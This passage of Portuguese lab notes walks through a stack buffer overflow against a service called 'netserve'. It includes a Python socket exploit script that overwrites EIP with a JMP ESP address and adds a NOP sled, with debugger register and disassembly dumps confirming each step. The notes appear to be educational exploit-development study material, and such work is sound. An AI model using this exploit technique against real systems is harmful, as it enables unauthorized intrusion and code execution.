



```
cmd = "SEND "+dados+"\r\n"
s.send(cmd.encode())
```

→ Script executado pelo python3 (Veja que tivemos de diminuir uma unidade no offset para que fosse compatível)

+ No Immunity Debugger, deixamos a 62502a0 como breakpoint e então executamos o script

Address	Disassembly
625012A0	JMP ESP
625012A2	JMP EAX
625012A4	POP EAX
625012A5	POP EAX
625012A6	RET
625012A7	NOP
625012A8	POP EBP
625012A9	RET
625012AA	PUSH EBP
625012AB	MOV EBP, ESP
625012AD	JMP ESP
625012AF	JMP ECX
625012B1	POP EBX
625012B2	POP EBP

Register	Value	Comment
EAX	00EFF238	ASCII "SEND AAAAAA"
ECX	00AF5350	
EDX	00000A0D	
EBX	00000110	
ESP	00EFA18	ASCII "CCCCCCCCCCCC"
EBP	41414141	
ESI	004018F0	netserve.004018F0
EDI	004018F0	netserve.004018F0
EIP	625012A0	netser_1.625012A0

→ Veja que de fato o EIP apontou corretamente para a 625012a0.

→ Nesse caso, o próximo comando a ser executado será de fato o JMP ESP

Address	Disassembly
00EFA18	INC EBX
00EFA19	INC EBX
00EFA1A	INC EBX
00EFA1B	INC EBX
00EFA1C	INC EBX
00EFA1D	INC EBX
00EFA1E	INC EBX
00EFA1F	INC EBX
00EFA20	INC EBX
00EFA21	INC EBX
00EFA22	INC EBX
00EFA23	INC EBX
00EFA24	INC EBX
00EFA25	INC EBX

Register	Value	Comment
EAX	00EFF238	ASCII "SEND AAAAAA"
ECX	00AF5350	
EDX	00000A0D	
EBX	00000110	
ESP	00EFA18	ASCII "CCCCCCCCCCCC"
EBP	41414141	
ESI	004018F0	netserve.004018F0
EDI	004018F0	netserve.004018F0
EIP	00EFA18	

## TÉCNICA DE NOP's LEADING

→ Consiste em enviar NOP's antes do shellcode para evitar que a aplicação quebre

```
#!/usr/bin/python
import socket

#0x625012a0

dados = "A"*2006 + "\xa0\x12\x50\x62" + "\x90"*32 + "C"*(500-32)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.15.0.97", 5800))
s.recv(1024)
cmd = "SEND "+dados+"\r\n"
s.send(cmd.encode())
```

FA2F	90	NOP	
FA30	90	NOP	
FA31	90	NOP	
FA32	90	NOP	
FA33	90	NOP	
FA34	90	NOP	
FA35	90	NOP	
FA36	90	NOP	
FA37	90	NOP	
FA38	43	INC	EBX
FA39	43	INC	EBX
FA3A	43	INC	EBX
FA3B	43	INC	EBX
FA3C	43	INC	EBX
FA3D	43	INC	EBX
FA3E	43	INC	EBX
FA3F	43	INC	EBX
FA40	43	INC	EBX
FA41	43	INC	EBX
FA42	43	INC	EBX
FA43	43	INC	EBX
FA44	43	INC	EBX
FA45	43	INC	EBX